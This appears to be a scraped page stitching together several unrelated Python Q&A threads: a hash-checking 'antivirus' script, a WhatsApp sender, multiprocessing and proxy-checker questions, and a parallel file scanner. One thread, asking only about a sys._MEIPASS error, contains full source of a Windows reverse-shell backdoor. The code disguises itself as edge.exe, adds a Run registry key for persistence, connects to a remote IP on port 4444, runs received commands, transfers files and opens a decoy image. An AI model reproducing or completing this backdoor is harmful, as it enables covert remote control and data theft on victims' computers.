Python permission error unskippable - python-3.x

I'm trying to make an antivirus in python, but I keep getting a permissions denied error when i get its hash and check even when I make it ignore the error and try and move on to the next file to hash and check. I'm fine with the error, but I'm trying it to make it move to the next file and nothing I try works. I'm using windows.
AV.py
#!/usr/bin/python3.5
import os
import sys
import time
import glob
import simple_hasher
from colorama import *
init()
#Begin code
#variable_set
virlfile = "ListFile.hash"
vircount = 0
virusdel = []
hashtype = "MD5"
#variable_end
#fileloadhash
if not os.path.isfile(virlfile):
try:
with open(virlfile, "w") as f:
f.close
except IOError as err:
print("Error, Something went WRONG!")
print("Error as reported:")
print("{}".format(err))
with open(virlfile) as f:
data = f.read()
#scanner
filecount = 0
try:
for file in glob.glob("./**/*", recursive = True):
if os.path.isfile(file):
file_hash = simple_hasher.get_hash(file, hashtype)
if file_hash in data:
print("{} | {}".format(file_hash, Fore.CYAN + file + " (!)ALERT" + Style.RESET_ALL))
vircount += 1
virusdel.append(file)
filecount += 1
else:
print("{} | {}".format(file_hash, file))
filecount += 1
except OSError:
pass
if vircount > 0:
print("\n{} Viruses Detected. Delete? Y/N".format(vircount))
try:
choice = input(">> ").lower().split(" ")
except KeyboardInterrupt:
print("SCAN ABORTED!")
try:
if choice[0] == "y":
for file in virusdel:
try:
os.remove(file)
print("File Deleted - {}".format(os.path.abspath(file)))
except Exception as err:
print ("Unable to remove file.\n{}".format(err))
print("\n(+) All Viruses Removed.\n")
else:
sys.exit()
except Exception as err:
print("Error: {}".format(err))
else:
print("\n(+)No viruses\n")
sys.exit()
I also have a custom module being imported:
simple_hasher.py
import hashlib
import os
import sys
def get_hash(file, ver):
if ver.lower() == "md5":
h = hashlib.md5()
elif ver.lower() == "sha1":
h = hashlib.sha1()
elif ver.lower() == "sha256":
h = hashlib.sha256()
else:
h = hashlib.sha1()
while not False:
try:
with open(file, "rb") as f:
while True:
data = f.read(2 ** 20)
if not data: break
h.update(data)
return h.hexdigest()
except Exception as err:
print("[Debug] [{}] - Message: {}".format(os.path.split(__file__)[1], err))
pass
The error:
[Debug] [simple_hasher.py] - Message: [Errno 13] Permission denied: '.\\hiberfil.sys'

Related

Python, selecting a specific file

I need to select a specific file, after specifying the number of this file in "if"...
Instead of "MTS.txt " we need the full path to the selected file using a digit!
I have not found any information about this on the Internet. Perhaps he made up his request badly!
from email import message
from click import clear
import pywhatkit
import pyfiglet
import os
import time
directory = 'MTS/'
# files = os.listdir(directory)
f = True
while (f==True):
def main():
os.system('CLS')
# print(files)
mtstxt = pyfiglet.figlet_format("Wa Helper", font = "smslant")
print(mtstxt)
def send_message_inst():
mobile = '+7' + input(' Номер: +7')
with os.scandir(directory) as files:
for i, file in enumerate(files):
print(' ', i + 1, file.name)
nof = os.listdir(path="MTS/")
# print(len(nof))
while True:
tarif = int(input(' Вариант: '))
if tarif >= 1 and tarif <= int(len(nof)):
msg = open("MTS.txt", encoding='UTF-8')
message = msg.read()
msg.close()
break
else:
os.system('CLS')
print(mtstxt)
print(' Номер:', mobile)
with os.scandir(directory) as files:
for i, file in enumerate(files):
print(' ', i + 1, file.name)
print("\033[31m{}\033[0m".format(" Ошибка - неверный вариант!"))
pywhatkit.sendwhatmsg_instantly(phone_no=mobile, message=message)
send_message_inst()
os.system('CLS')
sndtxt = pyfiglet.figlet_format("Sent!", font = "smslant")
print(sndtxt)
time.sleep(5)
if __name__ == '__main__':
main()
else:
break

i am new to python below codes shows error that :AttributeError: module 'sys' has no attribute '_MEIPASS' [duplicate]

This question already has answers here:
What is sys._MEIPASS in Python
(3 answers)
Closed 1 year ago.
#client side
import socket
import subprocess
import json
import os
import base64
import sys
import shutil
class Backdoor:
def __init__(self, ip, port):
self.presistence()
self.connection = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.connection.connect((ip,port))
def presistence(self):
virus_file_location =os.environ["appdata"]+"\\edge.exe"
if not os.path.exists(virus_file_location):
shutil.copyfile(sys.executable,virus_file_location)
subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v tata /t REG_SZ /d "' + virus_file_location +'" ',shell=True)
def execute_command(self, command):
NULL = open(os.devnull,'wb')
return subprocess.check_output(command,shell =True, stderr=NULL, stdin=NULL)
def box_send(self, data):
json_data = json.dumps(data)
self.connection.send(b"json_data")
def change_directory(self, path):
os.chdir(path)
return "[+] changing directory to "+path
def box_receive(self):
json_data = " "
while True:
try:
json_data = json_data + str(self.connection.recv(1024))
return json.loads(json_data)
except ValueError:
continue
def read_file(self,path):
with open(path,"rb") as file:
return base64.b64decode(file.read())
def write_file(self,file_name,content):
with open(file_name,"wb") as file:
return "[+] upload successful"
def run(self):
while True:
command = self.box_receive()
try:
if command[0] =="exit":
self.connection.close()
sys.exit()
elif command[0] == "cd" and len(command) >1:
command_result = self.change_directory(command[1])
elif command[0] =="download":
command_result = self.read_file(command[1])
elif command[0] == "upload":
command_result = self.write_file(command[1],command[2])
else:
command_result = self.execute_command(command)
except Exception:
command_result = "[+] Error while running this command"
self.box_send(command_result)
file_name = sys._MEIPASS + "/sample.jpg"
subprocess.Popen(file_name, shell=True)
try:
backdoor = Backdoor("192.168.2.112", 4444)
backdoor.run()
except Exception:
sys.exit()
You import the module sys, then try to reference a non-existing attribute called _MEIPASS with:
file_name = sys._MEIPASS + "/sample.jpg"

How to handle exception with imap_unordered in python multiprocessing

I am using pool.imap_unordered to apply a function over different txt files saved locally.
Is it possible to capture the exception and pass?
If my code runs into an exception, it blocks the entire loop.
pool = Pool(processes=15)
results = {}
files = glob.glob('{}/10K_files/*.txt'.format(path_input))
for key, output in tqdm(pool.imap_unordered(process_file, files),total=len(files)):
results[key] = output
I've tried something like this:
pool = Pool(processes=15)
results = {}
files = glob.glob('{}/10K_files/*.txt'.format(path_input))
try:
for key, output in tqdm(pool.imap_unordered(process_file, files), total=len(files)):
results[key] = output
except:
print("error")
but then I want to resume the loop from where I started.
Thanks!
You could catch the exception in process_file and return it. Then test for whether the return value is an exception. Here is an example:
import os
import traceback
import multiprocessing as mp
def main():
work_items = [i for i in range(20)]
pool = mp.Pool()
for result in pool.imap_unordered(process_file_exc, work_items):
if isinstance(result, Exception):
print("Got exception: {}".format(result))
else:
print("Got OK result: {}".format(result))
def process_file_exc(work_item):
try:
return process_file(work_item)
except Exception as ex:
return Exception("Err on item {}".format(work_item)
+ os.linesep + traceback.format_exc())
def process_file(work_item):
if work_item == 9:
# this will raise ZeroDivisionError exception
return work_item / 0
return "{} * 2 == {}".format(work_item, work_item * 2)
if __name__ == '__main__':
main()

List returning 0 when I use extend (multiprocessing pool)

I'm trying to do a proxy checker with multiprocessing pool, and I'm getting 0 from a variable that I have to save the proxies working and the proxies that don't work but it just return 0 in both, I'm on python 3.5 debian9.6, the file has 200 lines (one proxy for each line)
#!usr/bin/env python3
from multiprocessing import Pool
import requests
import time
import sys
if (sys.version_info > (3, 0)):
pass
else:
print("This program was written for python 3")
exit()
class ProxyChecker():
def __init__(self, proxy_list_file):
self.proxy_list = proxy_list_file
self.working = []
self.not_working = []
self.time_elapsed = 0
def start_pool_to_check_proxies(self):
start_time = time.time()
with Pool(processes=200) as p:
p.map(self.check_proxies, self.proxy_list)
self.time_elapsed = time.time() - start_time
print("Number of working proxies = " + str(len(self.working)))
print("Number of proxies that don't work = " \
+ str(len(self.not_working)))
print("Number of proxies that have been checked = " + \
str(len(self.proxy_list)))
print("Time elapsed while cheking " + str(len(self.proxy_list) \
+ self.time_elapsed))
def check_proxies(self, proxy):
try:
response = requests.get(
'http://google.com',
proxies={'http': 'http://' + proxy},
timeout=25
)
print('Checking ' + proxy + " ...")
self.working.extend(str(proxy))
except Exception as e:
print("Something went wrong")
self.not_working.extend(str(proxy))
"""else:
if response.status_code == 200:
self.working.extend(proxy)
print(self.working)
else:
self.not_working.extend(proxy)"""
def main():
try:
with open("proxies.txt", 'r') as f:
proxies = f.read().split('\n')
except IOError:
print('Error opening the file')
print('Check the name of the file')
else:
# with open("proxies.txt", 'a') as f:
# f.write("*************Working Proxies*************")
checker = ProxyChecker(proxies)
checker.start_pool_to_check_proxies()
if __name__ == '__main__':
main()
As I said the idea is to save in a list how many proxies works (and which ones) but it just return 0 and the proxy_list return the proxies right.
If anyone could help me I would be so pleased.
Happy new year!!

Read multiple files multiprocessing

I have a simple function that scans files for a special string, but as these files are on a slow remote file storage, I need to scan them parallel.
I guess I need to use multiprocessing, but I am not sure how to do that correctly.
Here is my function:
from fnmatch import fnmatch
import os
from shutil import copy
from pprint import pprint
def getFailedFile(directory_name, folder_to_write):
for file in os.listdir(directory_name):
if fnmatch(file, '*Response.txt'):
filename = directory_name + file
try:
with open(filename, 'r', encoding='utf-8') as myfile:
data = myfile.read()
if data.find('Exception') != -1:
try:
requestFile = directory_name + file.replace('Response', 'Request')
copy(requestFile, os.getcwd() + folder_to_write)
except FileNotFoundError:
print('no such file - ', requestFile)
except UnicodeDecodeError:
print('error unicode decode -', filename)
directory_name = 'some folder'
folder_to_write = 'some folder_to_write'
getFailedFile(directory_name=directory_name, folder_to_write)
Please help. Currently it takes about 4 hours due to number of files in the destination folder.
Finally figured out how to do that:
from fnmatch import fnmatch
import os
from shutil import copy
from multiprocessing import Pool
import time
import logging
def process_file(file):
directory_name = 'directory with files'
if fnmatch(file, '*Response.txt'):
filename = directory_name + file
try:
with open(filename, 'r', encoding='utf-8') as myfile:
data = myfile.read()
if data.find('xception') != -1:
try:
requestFile = directory_name + file.replace('Response', 'Request')
responseFile = directory_name + file
try:
copy(requestFile, 'directory to write')
copy(responseFile, 'directory to write')
except Exception as e:
logging.info(str(e) + '\n')
print(str(e))
except FileNotFoundError:
print('no such file - ', requestFile)
logging.info('no such file - ' + str(requestFile) + '\n')
except UnicodeDecodeError:
print('error unicode decode -', filename)
logging.info('error unicode decode -' + str(filename) + '\n')
if __name__ == '__main__':
try:
directory_name = 'directory with files'
number_of_processes = 50
logging.info('\n' + 'Number of processes - ' + str(number_of_processes))
logging.info('Directory to scan ' + directory_name)
pool = Pool(number_of_processes)
start_time = time.time()
pool.map(process_file, os.listdir(directory_name))
pool.close()
elapsed_time = time.time() - start_time
logging.info('Elapsed time - ' + str(elapsed_time / 60) + '\n')
except Exception as e:
logging.info(str(e) + '\n')
I know that the code is not so pretty, but it works 27 minutes instead of previous elapsed time.

Resources